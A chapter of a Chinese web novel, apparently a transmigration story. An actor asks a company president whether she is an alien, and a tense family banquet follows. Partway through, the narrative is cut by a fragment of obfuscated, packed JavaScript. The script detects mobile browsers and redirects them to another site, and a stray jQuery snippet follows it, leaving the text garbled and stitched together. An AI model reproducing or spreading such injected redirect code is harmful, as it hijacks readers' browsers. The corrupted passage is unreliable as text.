32.看穿

犬饲贵长作为一个自从觉醒本我后就一直活在自己世界里的宅男,对这个世界有一种动物性的本能,而这种本能也是他安然活在这个世界几十年的最大倚仗。


此时他的本能在疯狂告诉他鹰司凛很不对劲。但是哪里不对劲,他又说不上来。


比如说最近鹰司凛来剧组很频繁,有时候他明明看见她出现在现场,但是下一秒却又会产生她为什么会在这里的荒唐感觉。


那种感觉就像是演员过于入戏,以至于有些分不清现实和虚幻了。


犬饲猜测或许她真实存在于另外一个位面,只是因为空间扭曲,让他能在某些时间节点上看到她。但那不代表她是真实存在于自己这个世界。


这种想法让犬饲贵长又好奇又害怕!


难不成她是外星人?这个想法一出,他就有点情难自制。毕竟他从小的梦想之一就是见一见外星人。


于是他更努力地观察她。


可能是他表现得太过惹眼,以至于和他演对手戏的饭岛宽纪都忍不住提醒他。


“我说你啊,收敛一点吧,难道不怕被鹰司社长当成怪胎?”


“啊?什么!”犬饲贵长陡然惊醒,他才发现自己太过投入在自己的猜想里了。


为了避免被同事当作花痴,犬饲贵长开始胡说八道。其实也不算胡说八道,他只是说了自己和鹰司凛的初次见面。


毕竟他们的第一次见面,堪称偶像剧情节。可以解释很多无法解释的情形。你可以认为是缘分,也可以认为是想太多。


果然,饭岛宽纪听完一脸惊讶:“竟然还有这种事?鹰司社长还会一个人去那种小店吃东西?”


“什么那种?”犬饲贵长忿忿不平:“那里的小笼包真的很好吃。”


饭岛宽纪从善如流:“好,没想到鹰司社长还会跟人拼桌!真稀奇呐。”


犬饲贵长试探:“是吧,你也觉得鹰司社长不同寻常吧。”


饭岛宽纪想了想,“但是鹰司社长是在国外长大的,这样看来也没什么特别的。你知道老外都比较随心所欲。”


“是吗?”


“不然呢?”


“你说得对!”


“那就正常点!”


就当犬饲贵长觉得应该是自己想太多时,鹰司凛反而给他发了信息,约他当天戏结束后一起吃顿饭。


于是犬饲贵长再一次陷入了无限脑补中无法自拔。反正伸头一刀缩头也是一刀,算了不想了,干脆到时候开诚布公吧。


下戏后,他如约来到了银座一家高级生鱼片店。


向鹰司凛问好后,他默默坐在离她最远的一个位置。鹰司凛眉毛微拧,命令道:“坐到我身边来。”


胳膊拧不过大腿的犬饲贵长深吸一口气,挪了过去。


鹰司凛其实在思考怎么跟犬饲贵长说,让他帮忙试探一下挖饭岛宽纪到自己公司的事。毕竟已经被他拒绝过一次,所以她多少有点难以开口。


“你喜欢什么酒?”


“清酒就可以。”


鹰司凛有点忘记了日本酒桌的规矩,随手给犬饲贵长倒满一杯清酒,他恭敬地一口气喝了。她没多想又给他倒了一杯,他又一口气喝了。


然后她才突然想起来,在日本,下位者是没法拒绝的上位者倒的酒的。


就在她考虑说点什么时,酒壮怂人胆的犬饲贵长却率先开口:“可以问您一个有些冒犯的问题吗?”


鹰司凛看向他:“你都知道有些冒犯了,为什么还要问?”


“因为太好奇了!”


“好奇什么?”


“您是外星人吗?”


“哈?”鹰司凛一口酒喷了出来。


犬饲贵长没什么诚意地补救道:“啊,不是,我是问您是在国外长大的吗?”


鹰司凛有点危险地眯着眼睛:“你想问的根本不是这个吧?”


“恩。”犬饲老老实实点头,眼睛却一瞬不瞬盯着她。


“你怎么会有这种想法?”虽然知道他脑回路不正常,但是没想到这么不正常!


“我觉得您不是这个世界的人。”


鹰司凛被对面的人盯得心脏猛跳,她一时愣在当场。万万没想到,就这么莫名其妙地被人看穿了她心底深处的秘密。


她死死盯住犬饲贵长的眼睛,莫名涌出一股想要倾诉的欲望。她的那些故事那些挣扎一直沉淀在她心脏深处,她不是不想倾诉,她只是无人倾诉。


时间,仿佛在此刻停滞了!


然后就听犬饲贵长继续自言自语道:“奇行种?外星人?鬼魅?妖精?灵魂寄生者?您是那一种?”他把他知道的全都摆出来。


这个死宅男差点没吓死她!回过神来,鹰司凛脱口回了一句北京话:“是你大爷。”


犬饲贵长笃定:“虽然我听不懂,但我知道你刚刚在骂我。”


鹰司凛:“恩,我就是在骂你。”


犬饲贵长又盯着她看了很久,仿佛确认了什么似的。他放弃似的叹了口气:“啊?原来不是啊。”


气氛随之一松,鹰司凛简直要被眼前的人乱七八糟的言语弄得笑出声来。“怎么了?我是正常人让你很失望啊。”


没想到他真的点点头,这下把鹰司凛真弄不会了。犬饲贵长难掩眼底的失落:“那么鹰司社长找我来是有什么事吗?”


“不是,你真失望啊?”


“我想回家了。”他是认真的。


“等下。”鹰司凛被这死宅男的脑回路弄得没脾气,“我今天找你来,是想让你帮我打打边鼓,我想签饭岛宽纪。”


“哈?就为了这个?”


“什么就为这个,他已经拒绝过我一次了,所以我很难说出口。没想到你想到外星人身上去了。”鹰司凛开玩笑似的把这件事略过。


犬饲贵长也配合:“行吧,我回去帮您问问。今天就先告辞了。”


鹰司凛眼睁睁看着他离开视线,心脏还在微微颤动,你到底是什么怪人啊?


走出店门的犬饲贵长也在暗自复盘,做了就是做了,他没有多少后悔。反而心里盘旋着一个问题,不是外星人,那是什么呢?


三木真司亲自给她送来了他父亲生日宴会的邀请函,让她务必到场。


鹰司凛猜测这是他首次以三木家次子的身份出现在大型家族活动上,所以非常希望能有分量重的客人帮他压场。


为了妙子,她不得不帮他出这个头。毕竟之后她收养妙子作养女的仪式,也需要三木真司鼎力相助。<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408427|166975||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


/p>


到了他们这种阶级,血统说重要也重要,说不重要也不重要。更多的是看你对家族对那个人到底有没有绝对把控力。


鹰司源子让菊川忍抱着妙子跟她坐在后面,山中裕子目送她们离开。


这是上次她猜中妙子身世后,首次和母亲一起出门。换衣服的时候,外婆甚至在她耳边问她是否还在生她们的气。


气?其实早就没有了。虽然母亲和外婆隐瞒的理由也很有说服性,她们怕她看轻妙子。但不管怎么说,终究没什么意义了。大家,就这么凑活过吧。


三木家的生日宴上,稳坐钓鱼台的是三木家主,春风得意的是三木真司,愤恨阴冷的是三木夫人。


真是乱成一锅粥,鹰司凛只想保持距离。饭吃得差不多了,她转头让菊川忍把鹰司妙子抱去三木真司那里露个脸。然后就能打道回府了,三木家的事,还是少掺和。


鹰司源子看着各怀鬼胎的三木一家,有些嫌弃地转过头去。鹰司凛在她耳边提醒:“母亲,注意表情啊,三木夫人看着你呢。”再说了,鹰司家又好在哪里啊!


鹰司源子看过去,确认了三木夫人眼里的怨毒。心里十分明白对方为什么这样,各自立场不同,如果自己是她,估计也得毒得喷出汁水来。“我去洗手间。”


鹰司凛透过层层人影,看着抱着鹰司妙子的三木真司和各路人马热络交际,这个人羽翼未丰时可以伏低做小,等到大权在握又会是什么样呢?她真的很好奇呢!


三木夫人悄无声息地坐到她身旁,默默盯着鹰司凛看了好一会儿。


鹰司凛神色未变:“三木夫人有何指教?”


“我怎么敢?”三木夫人露出皮笑肉不笑的表情,“倒是我想向鹰司社长请教。”


“哦?请说。”


“请问鹰司社长是怎么做到轻而易举撤掉自己亲姐姐的呼吸机的?”三木夫人的控诉不可谓不严重。


鹰司凛丝毫不惯着她:“三木夫人很想学吗?也是,夫人也遇到了同样的难题了呢。不难的,只要真的爱那个人,就不会把他的躯体硬留在世上。”听说三木的亲儿子终于到了弥留之际。


三木夫人捏紧拳头:“我可做不到鹰司家那么冷酷无情。”


“是吗?那三木夫人继续去菩萨面前替他祈祷吧,我想菩萨会听见的。”


三木夫人发现自己的毒汁根本伤不了鹰司凛一丝半点。她突然压低了声音说:“我知道你侄女的秘密。”


鹰司凛也凑过去压低声音回她:“你以为谁不知道,就去跟谁说好了。”


“母亲!”三木小姐惊慌地跑过来,她抱歉地看了鹰司凛一眼,“母亲,父亲到处找你呢。快点跟我来。”


三木夫人却用冷漠地目光看了一眼自己的女儿,一把甩开她的手,起身离开了。


鹰司源子回来时正好看到三木夫人离开的身影,她问:“她来干嘛?”


“被逼狠了,总要发发疯的。”


已经见识过两位当家主母级别的日本女人发疯,鹰司凛突然有点习惯了。


想到前世中文网络上对日本女人充满了或无知或下流的妄想。而真实的日本女人的样子,恐怕他们只要了解一下就退避三舍。


无趣,真是无趣呐!